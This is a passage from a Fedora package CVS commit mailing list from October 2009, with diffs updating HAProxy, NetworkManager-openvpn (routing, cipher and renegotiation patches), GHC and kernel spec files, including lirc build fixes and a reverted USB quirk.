+#---------------------------------------------------------------------
+# main frontend which proxys to the backends
+#---------------------------------------------------------------------
+frontend  main *:5000
+    acl url_static       path_beg       -i /static /images /javascript /stylesheets
+    acl url_static       path_end       -i .jpg .gif .png .css .js
+   
+    use_backend static          if url_static
+    default_backend             app
+   
+#---------------------------------------------------------------------
+# static backend for serving up images, stylesheets and such
+#---------------------------------------------------------------------
+backend static
+    balance     roundrobin
+    server      static 127.0.0.1:4331 check
+
+#---------------------------------------------------------------------
+# round robin balancing between the various backends
+#---------------------------------------------------------------------
+backend app
+    balance     roundrobin
+    server  app1 127.0.0.1:5001 check
+    server  app2 127.0.0.1:5002 check
+    server  app3 127.0.0.1:5003 check 
+    server  app4 127.0.0.1:5004 check
 


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/haproxy.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- haproxy.spec	2 Aug 2009 23:28:21 -0000	1.16
+++ haproxy.spec	12 Oct 2009 03:27:26 -0000	1.17
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.19
+Version:        1.3.20
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -124,6 +124,9 @@ fi  
 
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
+- update to 1.3.20
+
 * Sun Aug 02 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.19-1
 - update to 1.3.19
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Aug 2009 23:28:21 -0000	1.12
+++ sources	12 Oct 2009 03:27:26 -0000	1.13
@@ -1 +1,2 @@
 24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
+e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz



From huzaifas at fedoraproject.org  Mon Oct 12 03:43:17 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 12 Oct 2009 03:43:17 +0000 (UTC)
Subject: rpms/NetworkManager-openvpn/EL-5
	NetworkManager-openvpn-0.7.0-route.patch, NONE,
	1.1 NetworkManager-openvpn-0.7.0-cipher.patch, NONE,
	1.1 NetworkManager-openvpn.spec, 1.6, 1.7
Message-ID: <20091012034317.98DF011C00E5@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/NetworkManager-openvpn/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21427

Modified Files:
	NetworkManager-openvpn.spec 
Added Files:
	NetworkManager-openvpn-0.7.0-route.patch 
	NetworkManager-openvpn-0.7.0-cipher.patch 
Log Message:
Fix routing/cipher

NetworkManager-openvpn-0.7.0-route.patch:
 nm-openvpn-service-openvpn-helper.c |   50 ++++++++++++++++++++++++++++--------
 1 file changed, 40 insertions(+), 10 deletions(-)

--- NEW FILE NetworkManager-openvpn-0.7.0-route.patch ---
diff -Naur NetworkManager-openvpn-0.7.0/src/nm-openvpn-service-openvpn-helper.c NetworkManager-openvpn-0.7.0.route/src/nm-openvpn-service-openvpn-helper.c
--- NetworkManager-openvpn-0.7.0/src/nm-openvpn-service-openvpn-helper.c	2008-12-12 01:22:57.000000000 +0530
+++ NetworkManager-openvpn-0.7.0.route/src/nm-openvpn-service-openvpn-helper.c	2009-10-09 12:59:38.000000000 +0530
@@ -287,6 +287,7 @@
 	GValue *nbns_list = NULL;
 	GValue *dns_domain = NULL;
 	struct in_addr temp_addr;
+	gboolean tapdev = FALSE;
 
 	g_type_init ();
 
@@ -310,13 +311,17 @@
 	if (val)
 		g_hash_table_insert (config, NM_VPN_PLUGIN_IP4_CONFIG_INT_GATEWAY, val);
 
-	/* Tunnel device */
-	val = str_to_gvalue (getenv ("dev"), FALSE);
+	/* VPN device */
+	tmp = getenv ("dev");
+	val = str_to_gvalue (tmp, FALSE);
 	if (val)
 		g_hash_table_insert (config, NM_VPN_PLUGIN_IP4_CONFIG_TUNDEV, val);
 	else
 		helper_failed (connection, "Tunnel Device");
 
+	if (strncmp (tmp, "tap", 3) == 0)
+		tapdev = TRUE;
+
 	/* IP address */
 	val = addr_to_gvalue (getenv ("ifconfig_local"));
 	if (val)
@@ -326,20 +331,45 @@
 
 	/* PTP address; for vpnc PTP address == internal IP4 address */
 	val = addr_to_gvalue (getenv ("ifconfig_remote"));
-	if (val)
-		g_hash_table_insert (config, NM_VPN_PLUGIN_IP4_CONFIG_PTP, val);
+	if (val) {
+		/* Sigh.  Openvpn added 'topology' stuff in 2.1 that changes the meaning
+		 * of the ifconfig bits without actually telling you what they are
+		 * supposed to mean; basically relying on specific 'ifconfig' behavior.
+		 */
+		tmp = getenv ("ifconfig_remote");
+		if (tmp && !strncmp (tmp, "255.", 4)) {
+			guint32 addr;
+
+			/* probably a netmask, not a PTP address; topology == subnet */
+			addr = g_value_get_uint (val);
+			g_value_set_uint (val, nm_utils_ip4_netmask_to_prefix (addr));
+			g_hash_table_insert (config, NM_VPN_PLUGIN_IP4_CONFIG_PREFIX, val);
+		} else
+			g_hash_table_insert (config, NM_VPN_PLUGIN_IP4_CONFIG_PTP, val);
+	}
 
-	/* Netmask */
-	tmp = getenv ("route_netmask_1");
+	/* Netmask
+	 *
+	 * Either TAP or TUN modes can have an arbitrary netmask in newer versions
+	 * of openvpn, while in older versions only TAP mode would.  So accept a
+	 * netmask if passed, otherwise default to /32 for TUN devices since they
+	 * are usually point-to-point.
+	 */
+	tmp = getenv ("ifconfig_netmask");
 	if (tmp && inet_pton (AF_INET, tmp, &temp_addr) > 0) {
-		GValue *val;
-
 		val = g_slice_new0 (GValue);
 		g_value_init (val, G_TYPE_UINT);
 		g_value_set_uint (val, nm_utils_ip4_netmask_to_prefix (temp_addr.s_addr));
-
 		g_hash_table_insert (config, NM_VPN_PLUGIN_IP4_CONFIG_PREFIX, val);
-	}
+	} else if (!tapdev) {
+		if (!g_hash_table_lookup (config, NM_VPN_PLUGIN_IP4_CONFIG_PREFIX)) {
+			val = g_slice_new0 (GValue);
+			g_value_init (val, G_TYPE_UINT);
+			g_value_set_uint (val, 32);
+			g_hash_table_insert (config, NM_VPN_PLUGIN_IP4_CONFIG_PREFIX, val);
+		}
+	} else
+		nm_warning ("No IP4 netmask/prefix (missing or invalid 'ifconfig_netmask')");
 
 	val = get_routes ();
 	if (val)

NetworkManager-openvpn-0.7.0-cipher.patch:
 auth-helpers.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE NetworkManager-openvpn-0.7.0-cipher.patch ---
diff -Naur NetworkManager-openvpn-0.7.0/properties/auth-helpers.c NetworkManager-openvpn-0.7.0.cipher/properties/auth-helpers.c
--- NetworkManager-openvpn-0.7.0/properties/auth-helpers.c	2008-12-12 01:22:57.000000000 +0530
+++ NetworkManager-openvpn-0.7.0.cipher/properties/auth-helpers.c	2009-10-09 14:32:52.000000000 +0530
@@ -1059,7 +1059,9 @@
 		g_hash_table_insert (hash, g_strdup (NM_OPENVPN_KEY_TAP_DEV), g_strdup ("yes"));
 
 	contype = g_object_get_data (G_OBJECT (dialog), "connection-type");
-	if (!strcmp (contype, NM_OPENVPN_CONTYPE_TLS) || !strcmp (contype, NM_OPENVPN_CONTYPE_PASSWORD_TLS)) {
+        if (   !strcmp (contype, NM_OPENVPN_CONTYPE_TLS)
+            || !strcmp (contype, NM_OPENVPN_CONTYPE_PASSWORD_TLS)
+            || !strcmp (contype, NM_OPENVPN_CONTYPE_PASSWORD)) {
 		GtkTreeModel *model;
 		GtkTreeIter iter;
 


Index: NetworkManager-openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-openvpn/EL-5/NetworkManager-openvpn.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- NetworkManager-openvpn.spec	7 Feb 2009 11:40:39 -0000	1.6
+++ NetworkManager-openvpn.spec	12 Oct 2009 03:43:16 -0000	1.7
@@ -22,6 +22,8 @@ Group: System Environment/Base
 # - use generated NetworkManager-openvpn-0.7.0.tar.gz
 Source: %{name}-%{version}.%{svn_snapshot}.tar.gz
 Patch0: NetworkManager-openvpn-0.7.0-keyring.patch
+Patch1: NetworkManager-openvpn-0.7.0-route.patch
+Patch2: NetworkManager-openvpn-0.7.0-cipher.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-root
 BuildRequires: gtk2-devel                 >= %{gtk2_version}
@@ -55,7 +57,8 @@ with NetworkManager and the GNOME deskto
 %prep
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .keyring
-
+%patch1 -p1 -b .route
+%patch2 -p1 -b .cipher
 
 %build
 if [ ! -f configure ]; then
@@ -107,6 +110,10 @@ fi
 %dir %{_datadir}/gnome-vpn-properties/openvpn
 
 %changelog
+* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:0.7.0-18.svn11.2
+- Fix Routing issues with EL-5 build (rh #525646)
+- Fix issue where cipher type is not stored in gconf
+
 * Sat Feb  7 2009 Lubomir Rintel <lkundrak at v3.sk> 1:0.7.0-18.svn11.1
 - Adjust for RHEL 5.3, older and less capable keyring manager
 



From huzaifas at fedoraproject.org  Mon Oct 12 03:46:08 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 12 Oct 2009 03:46:08 +0000 (UTC)
Subject: rpms/NetworkManager-openvpn/EL-5 NetworkManager-openvpn.spec, 1.7,
	1.8
Message-ID: <20091012034608.863C911C00E5@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/NetworkManager-openvpn/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22141

Modified Files:
	NetworkManager-openvpn.spec 
Log Message:
bump the release now


Index: NetworkManager-openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-openvpn/EL-5/NetworkManager-openvpn.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- NetworkManager-openvpn.spec	12 Oct 2009 03:43:16 -0000	1.7
+++ NetworkManager-openvpn.spec	12 Oct 2009 03:46:08 -0000	1.8
@@ -10,7 +10,7 @@ Summary: NetworkManager VPN plugin for O
 Name: NetworkManager-openvpn
 Epoch:   1
 Version: 0.7.0
-Release: 18.%{svn_snapshot}%{?dist}.1
+Release: 18.%{svn_snapshot}%{?dist}.2
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
 Group: System Environment/Base



From bos at fedoraproject.org  Mon Oct 12 03:58:22 2009
From: bos at fedoraproject.org (Bryan O'Sullivan)
Date: Mon, 12 Oct 2009 03:58:22 +0000 (UTC)
Subject: rpms/ghc/devel ghc.spec,1.100,1.101
Message-ID: <20091012035822.6346511C00E5@cvs1.fedora.phx.redhat.com>

Author: bos

Update of /cvs/extras/rpms/ghc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24244

Modified Files:
	ghc.spec 
Log Message:
Build fixes


Index: ghc.spec
===================================================================
RCS file: /cvs/extras/rpms/ghc/devel/ghc.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- ghc.spec	12 Oct 2009 02:48:15 -0000	1.100
+++ ghc.spec	12 Oct 2009 03:58:22 -0000	1.101
@@ -27,10 +27,10 @@
 Name: ghc
 # part of haskell-platform-2009.2.0.2
 Version: 6.12.0.20091010
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Glasgow Haskell Compilation system
 # fedora ghc has only been bootstrapped on the following archs:
-ExclusiveArch: %{ix86} x86_64 ppc alpha
+ExclusiveArch: %{ix86} x86_64 alpha
 License: BSD
 Group: Development/Languages
 Source0: http://www.haskell.org/ghc/dist/%{version}/ghc-%{version}-src.tar.bz2
@@ -42,7 +42,7 @@ Obsoletes: ghc682, ghc681, ghc661, ghc66
 # introduced for f11 and can be removed for f13:
 Obsoletes: haddock < %{haddock_version}, ghc-haddock-devel < %{haddock_version}
 Provides: haddock = %{haddock_version}, ghc-haddock-devel = %{haddock_version}
-BuildRequires: ghc, happy, sed
+BuildRequires: ghc, happy, sed, ncurses-devel
 BuildRequires: gmp-devel
 %if %{with shared}
 # not sure if this is actually needed
@@ -258,6 +258,10 @@ fi
 %endif
 
 %changelog
+* Sun Oct 11 2009 Bryan O'Sullivan <bos at serpentine.com> - 6.12.0.20091010-2
+- disable ppc for now (seems unsupported)
+- buildreq ncurses-devel
+
 * Sun Oct 11 2009 Bryan O'Sullivan <bos at serpentine.com> - 6.12.0.20091010-1
 - Update to 6.12 RC 1
 



From cebbert at fedoraproject.org  Mon Oct 12 04:12:33 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon, 12 Oct 2009 04:12:33 +0000 (UTC)
Subject: rpms/kernel/devel lirc-2.6.32-fixes.patch, NONE, 1.1 kernel.spec,
	1.1820, 1.1821
Message-ID: <20091012041233.A5CC411C00EB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16814

Modified Files:
	kernel.spec 
Added Files:
	lirc-2.6.32-fixes.patch 
Log Message:
Fix lirc build after header changes.
Fix bug in lirc interrupt processing.

lirc-2.6.32-fixes.patch:
 lirc_ene0100.c |    3 ++-
 lirc_ite8709.c |    1 +
 2 files changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE lirc-2.6.32-fixes.patch ---

drivers/input/lirc/lirc_ene0100.c: In function 'ene_hw_irq_status':
drivers/input/lirc/lirc_ene0100.c:80: warning: suggest parentheses around operand of '!' or change '&' to '&&' or '!' to '~'
drivers/input/lirc/lirc_ene0100.c: In function 'send_sample':
drivers/input/lirc/lirc_ene0100.c:332: error: 'TASK_NORMAL' undeclared (first use in this function)

--- linux-2.6.31.noarch.orig/drivers/input/lirc/lirc_ene0100.c
+++ linux-2.6.31.noarch/drivers/input/lirc/lirc_ene0100.c
@@ -24,6 +24,7 @@
 #include <linux/pnp.h>
 #include <linux/io.h>
 #include <linux/interrupt.h>
+#include <linux/sched.h>
 #include "lirc_ene0100.h"
 
 static int sample_period = 75;
@@ -77,7 +78,7 @@ static int ene_hw_irq_status(struct ene_
 	if (dev->hw_revision < ENE_HW_C) {
 		irq_status = ene_hw_read_reg(dev, ENEB_IRQ_STATUS);
 
-		if (!irq_status & ENEB_IRQ_STATUS_IR)
+		if (!(irq_status & ENEB_IRQ_STATUS_IR))
 			return 0;
 		ene_hw_write_reg(dev, ENEB_IRQ_STATUS,
 				 irq_status & ~ENEB_IRQ_STATUS_IR);

drivers/input/lirc/lirc_ite8709.c: In function 'ite8709_add_read_queue':
drivers/input/lirc/lirc_ite8709.c:234: error: 'TASK_NORMAL' undeclared (first use in this function)

--- linux-2.6.31.noarch.orig/drivers/input/lirc/lirc_ite8709.c
+++ linux-2.6.31.noarch/drivers/input/lirc/lirc_ite8709.c
@@ -21,6 +21,7 @@
 
 #include <linux/module.h>
 #include <linux/interrupt.h>
+#include <linux/sched.h>
 #include <linux/delay.h>
 #include <linux/pnp.h>
 #include <linux/io.h>


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1820
retrieving revision 1.1821
diff -u -p -r1.1820 -r1.1821
--- kernel.spec	12 Oct 2009 01:52:11 -0000	1.1820
+++ kernel.spec	12 Oct 2009 04:12:33 -0000	1.1821
@@ -667,6 +667,7 @@ Patch900: linux-2.6-pci-cacheline-sizing
 
 Patch1515: lirc-2.6.31.patch
 Patch1517: hdpvr-ir-enable.patch
+Patch1519: lirc-2.6.32-fixes.patch
 
 # virt + ksm patches
 Patch1551: linux-2.6-ksm-kvm.patch
@@ -1281,6 +1282,8 @@ ApplyPatch linux-2.6-pci-cacheline-sizin
 ApplyPatch lirc-2.6.31.patch
 # enable IR receiver on Hauppauge HD PVR (v4l-dvb merge pending)
 ApplyPatch hdpvr-ir-enable.patch
+# fixes
+ApplyPatch lirc-2.6.32-fixes.patch
 
 # Add kernel KSM support
 # Optimize KVM for KSM support
@@ -1986,6 +1989,10 @@ fi
 
 %changelog
 * Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
+- Fix lirc build after header changes.
+- Fix bug in lirc interrupt processing.
+
+* Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
 - Fix up multiple definition of debug options
   (EXT4_DEBUG, DEBUG_FORCE_WEAK_PER_CPU)
 



From cebbert at fedoraproject.org  Mon Oct 12 04:30:03 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon, 12 Oct 2009 04:30:03 +0000 (UTC)
Subject: rpms/kernel/devel git-linus.diff, 1.17, 1.18 kernel.spec, 1.1821,
	1.1822
Message-ID: <20091012043003.EFC1611C02A1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20631

Modified Files:
	git-linus.diff kernel.spec 
Log Message:
Last-minute USB fix from upstream.

git-linus.diff:
 pci-quirks.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: git-linus.diff
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/git-linus.diff,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- git-linus.diff	3 Mar 2009 21:55:18 -0000	1.17
+++ git-linus.diff	12 Oct 2009 04:30:03 -0000	1.18
@@ -0,0 +1,39 @@
+# HG changeset patch
+# User Linus Torvalds <torvalds at linux-foundation.org>
+# Date 1255301877 25200
+# Node ID 7d6c25d3acd4ffe9cd339ae4032b80480837a5d8
+# Parent  606b8ffcf2f0fe29cd00e35bd04dbae63487951e
+Revert "USB: Work around BIOS bugs by quiescing USB controllers earlier"
+
+This reverts commit db8be50c4307dac2b37305fc59c8dc0f978d09ea, as per
+
+	http://bugzilla.kernel.org/show_bug.cgi?id=14374
+	http://marc.info/?l=linux-kernel&m=125446885705223&w=4
+
+We simply can't do the USB handoff at FIXUP_HEADER time, since it will
+often require us to have valid IO mappings etc.  But that in turn
+requires a whole different approach, not this trivial one-liner.
+
+Maybe we could teach all the USB quirk handoff handlers to only do the
+quirk if the device has all its registers set up (since if it isn't
+initialized, it's unlikely to be active), but regardless that will need
+a whole lot more code than just saying "let's do it really early".
+
+The proper fix is almost certainly to just leave the legacy IOMMU
+mappings active until after all devices have been initialized.
+
+Reported-by: Nick Piggin <npiggin at suse.de>
+Cc: David Woodhouse <David.Woodhouse at intel.com>
+Cc: Greg Kroah-Hartman <gregkh at suse.de>
+Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
+
+committer: Linus Torvalds <torvalds at linux-foundation.org>
+
+--- a/drivers/usb/host/pci-quirks.c	Sun Oct 11 22:00:06 2009 +0000
++++ b/drivers/usb/host/pci-quirks.c	Sun Oct 11 15:57:57 2009 -0700
+@@ -475,4 +475,4 @@
+ 	else if (pdev->class == PCI_CLASS_SERIAL_USB_XHCI)
+ 		quirk_usb_handoff_xhci(pdev);
+ }
+-DECLARE_PCI_FIXUP_HEADER(PCI_ANY_ID, PCI_ANY_ID, quirk_usb_early_handoff);
++DECLARE_PCI_FIXUP_FINAL(PCI_ANY_ID, PCI_ANY_ID, quirk_usb_early_handoff);


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1821
retrieving revision 1.1822
diff -u -p -r1.1821 -r1.1822
--- kernel.spec	12 Oct 2009 04:12:33 -0000	1.1821
+++ kernel.spec	12 Oct 2009 04:30:03 -0000	1.1822
@@ -1107,7 +1107,7 @@ make -f %{SOURCE20} VERSION=%{version} c
   done
 %endif
 
-#ApplyOptionalPatch git-linus.diff
+ApplyOptionalPatch git-linus.diff
 
 # This patch adds a "make nonint_oldconfig" which is non-interactive and
 # also gives a list of missing options at the end. Useful for automated
@@ -1988,6 +1988,9 @@ fi
 # ##############################################################
 
 %changelog
+* Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.32-0.24.rc4.git0
+- Last-minute USB fix from upstream.
+
 * Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
 - Fix lirc build after header changes.
 - Fix bug in lirc interrupt processing.



From huzaifas at fedoraproject.org  Mon Oct 12 04:49:06 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 12 Oct 2009 04:49:06 +0000 (UTC)
Subject: rpms/NetworkManager-openvpn/EL-5
	NetworkManager-openvpn-0.7.0-reneg.patch, NONE,
	1.1 NetworkManager-openvpn.spec, 1.8, 1.9
Message-ID: <20091012044906.C812911C00DB@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/NetworkManager-openvpn/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23861

Modified Files:
	NetworkManager-openvpn.spec 
Added Files:
	NetworkManager-openvpn-0.7.0-reneg.patch 
Log Message:
Add reneg options

NetworkManager-openvpn-0.7.0-reneg.patch:
 properties/auth-helpers.c          |   45 
 properties/import-export.c         |   23 
 properties/nm-openvpn-dialog.glade | 3222 ++++++++++++++++++++++++-------------
 src/nm-openvpn-service.c           |   17 
 src/nm-openvpn-service.h           |    1 
 5 files changed, 2176 insertions(+), 1132 deletions(-)

--- NEW FILE NetworkManager-openvpn-0.7.0-reneg.patch ---
diff -Naur NetworkManager-openvpn-0.7.0/properties/auth-helpers.c NetworkManager-openvpn-0.7.0.reneg/properties/auth-helpers.c
--- NetworkManager-openvpn-0.7.0/properties/auth-helpers.c	2008-12-12 01:22:57.000000000 +0530
+++ NetworkManager-openvpn-0.7.0.reneg/properties/auth-helpers.c	2009-10-12 09:56:28.000000000 +0530
@@ -723,6 +723,7 @@
 	NM_OPENVPN_KEY_CIPHER,
 	NM_OPENVPN_KEY_TA_DIR,
 	NM_OPENVPN_KEY_TA,
+	NM_OPENVPN_KEY_RENEG_SECONDS,
 	NULL
 };
 
@@ -764,6 +765,17 @@
 	gtk_widget_set_sensitive (widget, gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (check)));
 }
 
+static void
+reneg_toggled_cb (GtkWidget *check, gpointer user_data)
+{
+	GladeXML *xml = (GladeXML *) user_data;
+	GtkWidget *widget;
+
+	widget = glade_xml_get_widget (xml, "reneg_spinbutton");
+	gtk_widget_set_sensitive (widget, gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (check)));
+}
+
+
 static const char *
 nm_find_openvpn (void)
 {
@@ -916,6 +928,30 @@
 	                        xml, (GDestroyNotify) g_object_unref);
 	g_object_set_data (G_OBJECT (dialog), "connection-type", GINT_TO_POINTER (contype));
 
+	widget = glade_xml_get_widget (xml, "reneg_checkbutton");
+	g_signal_connect ( G_OBJECT (widget), "toggled", G_CALLBACK (reneg_toggled_cb), xml);
+
+	value = g_hash_table_lookup (hash, NM_OPENVPN_KEY_RENEG_SECONDS);
+	if (value && strlen (value)) {
+		long int tmp;
+
+		errno = 0;
+		tmp = strtol (value, NULL, 10);
+		if (errno == 0 && tmp >= 0 && tmp < 604800) { /* up to a week? */
+			gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (widget), TRUE);
+
+			widget = glade_xml_get_widget (xml, "reneg_spinbutton");
+			gtk_spin_button_set_value (GTK_SPIN_BUTTON (widget), (gdouble) tmp);
+		}
+		gtk_widget_set_sensitive (widget, TRUE);
+		} else {
+		gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (widget), FALSE);
+
+		widget = glade_xml_get_widget (xml, "reneg_spinbutton");
+		gtk_spin_button_set_value (GTK_SPIN_BUTTON (widget), 0.0);
+		gtk_widget_set_sensitive (widget, FALSE);
+	}
+
 	widget = glade_xml_get_widget (xml, "port_checkbutton");
 	g_signal_connect (G_OBJECT (widget), "toggled", G_CALLBACK (port_toggled_cb), xml);
 
@@ -1037,6 +1073,15 @@
 
 	hash = g_hash_table_new_full (g_str_hash, g_str_equal, g_free, g_free);
 
+	widget = glade_xml_get_widget (xml, "reneg_checkbutton");
+	if (gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (widget))) {
+		int reneg_seconds;
+
+		widget = glade_xml_get_widget (xml, "reneg_spinbutton");
+		reneg_seconds = gtk_spin_button_get_value_as_int (GTK_SPIN_BUTTON (widget));
+		g_hash_table_insert (hash, g_strdup (NM_OPENVPN_KEY_RENEG_SECONDS), g_strdup_printf ("%d", reneg_seconds));
+	}
+
 	widget = glade_xml_get_widget (xml, "port_checkbutton");
 	if (gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (widget))) {
 		int port;
diff -Naur NetworkManager-openvpn-0.7.0/properties/import-export.c NetworkManager-openvpn-0.7.0.reneg/properties/import-export.c
--- NetworkManager-openvpn-0.7.0/properties/import-export.c	2008-12-12 01:22:57.000000000 +0530
+++ NetworkManager-openvpn-0.7.0.reneg/properties/import-export.c	2009-10-12 10:06:41.000000000 +0530
@@ -55,6 +55,8 @@
 #define SECRET_TAG "secret"
 #define AUTH_USER_PASS_TAG "auth-user-pass"
 #define TLS_AUTH_TAG "tls-auth"
+#define RENEG_SEC_TAG "reneg-sec"
+
 
 static gboolean
 handle_path_item (const char *line,
@@ -233,6 +235,27 @@
 			continue;
 		}
 
+		if (!strncmp (*line, RENEG_SEC_TAG, strlen (RENEG_SEC_TAG))) {
+			items = get_args (*line + strlen (RENEG_SEC_TAG));
+			if (!items)
+			continue;
+
+		if (g_strv_length (items) >= 1) {
+			glong secs;
+
+			errno = 0;
+			secs = strtol (items[0], NULL, 10);
+			if ((errno == 0) && (secs >= 0) && (secs < 604800)) {
+				char *tmp = g_strdup_printf ("%d", (guint32) secs);
+				nm_setting_vpn_add_data_item (s_vpn, NM_OPENVPN_KEY_RENEG_SECONDS, tmp);
+				g_free (tmp);
+			} else
+				g_warning ("%s: invalid time length in option '%s'", __func__, *line);
+			}
+			g_strfreev (items);
+			continue;
+		}
+
 		if (!strncmp (*line, REMOTE_TAG, strlen (REMOTE_TAG))) {
 			items = get_args (*line + strlen (REMOTE_TAG));
 			if (!items)
diff -Naur NetworkManager-openvpn-0.7.0/properties/nm-openvpn-dialog.glade NetworkManager-openvpn-0.7.0.reneg/properties/nm-openvpn-dialog.glade
--- NetworkManager-openvpn-0.7.0/properties/nm-openvpn-dialog.glade	2008-12-12 01:22:57.000000000 +0530
+++ NetworkManager-openvpn-0.7.0.reneg/properties/nm-openvpn-dialog.glade	2009-10-12 09:49:27.000000000 +0530
@@ -1,1134 +1,2092 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!DOCTYPE glade-interface SYSTEM "glade-2.0.dtd">
-<!--*- mode: xml -*-->
+<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
+<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
+
 <glade-interface>
-  <widget class="GtkWindow" id="openvpn-widget">
-    <property name="title" translatable="yes">window1</property>
-    <child>
-      <widget class="GtkVBox" id="openvpn-vbox">
-        <property name="visible">True</property>
-        <property name="border_width">12</property>
-        <property name="spacing">16</property>
-        <child>
-          <widget class="GtkVBox" id="vbox8">
-            <property name="visible">True</property>
-            <property name="spacing">6</property>
-            <child>
-              <widget class="GtkLabel" id="label22">
-                <property name="visible">True</property>
-                <property name="xalign">0</property>
-                <property name="label" translatable="yes">&lt;b&gt;General&lt;/b&gt;</property>
-                <property name="use_markup">True</property>
-              </widget>
-              <packing>
-                <property name="expand">False</property>
-                <property name="fill">False</property>
-              </packing>
-            </child>
-            <child>
-              <widget class="GtkAlignment" id="alignment8">
-                <property name="visible">True</property>
-                <property name="left_padding">12</property>
-                <child>
-                  <widget class="GtkTable" id="table2">
-                    <property name="visible">True</property>
-                    <property name="n_rows">1</property>
-                    <property name="n_columns">2</property>
-                    <property name="column_spacing">6</property>
-                    <property name="row_spacing">6</property>
-                    <child>
-                      <widget class="GtkAlignment" id="alignment2">
-                        <property name="visible">True</property>
-                        <property name="xalign">1</property>
-                        <property name="xscale">0</property>
-                        <child>
-                          <widget class="GtkEntry" id="gateway_entry">
-                            <property name="visible">True</property>
-                            <property name="can_focus">True</property>
-                          </widget>
-                        </child>
-                      </widget>
-                      <packing>
-                        <property name="left_attach">1</property>
-                        <property name="right_attach">2</property>
-                        <property name="y_options"></property>
-                      </packing>
-                    </child>
-                    <child>
-                      <widget class="GtkLabel" id="label23">
-                        <property name="visible">True</property>
-                        <property name="xalign">0</property>
-                        <property name="label" translatable="yes">_Gateway:</property>
-                        <property name="use_underline">True</property>
-                        <property name="mnemonic_widget">gateway_entry</property>
-                      </widget>
-                      <packing>
-                        <property name="x_options"></property>
-                        <property name="y_options"></property>
-                      </packing>
-                    </child>
-                  </widget>
-                </child>
-              </widget>
-              <packing>
-                <property name="position">1</property>
-              </packing>
-            </child>
[...2990 lines suppressed...]
+			  <property name="xpad">0</property>
+			  <property name="ypad">0</property>
+			  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
+			  <property name="width_chars">-1</property>
+			  <property name="single_line_mode">False</property>
+			  <property name="angle">0</property>
+			</widget>
+		      </child>
+		    </widget>
+		    <packing>
+		      <property name="left_attach">1</property>
+		      <property name="right_attach">2</property>
+		      <property name="top_attach">2</property>
+		      <property name="bottom_attach">3</property>
+		      <property name="y_options"></property>
+		    </packing>
+		  </child>
+
+		  <child>
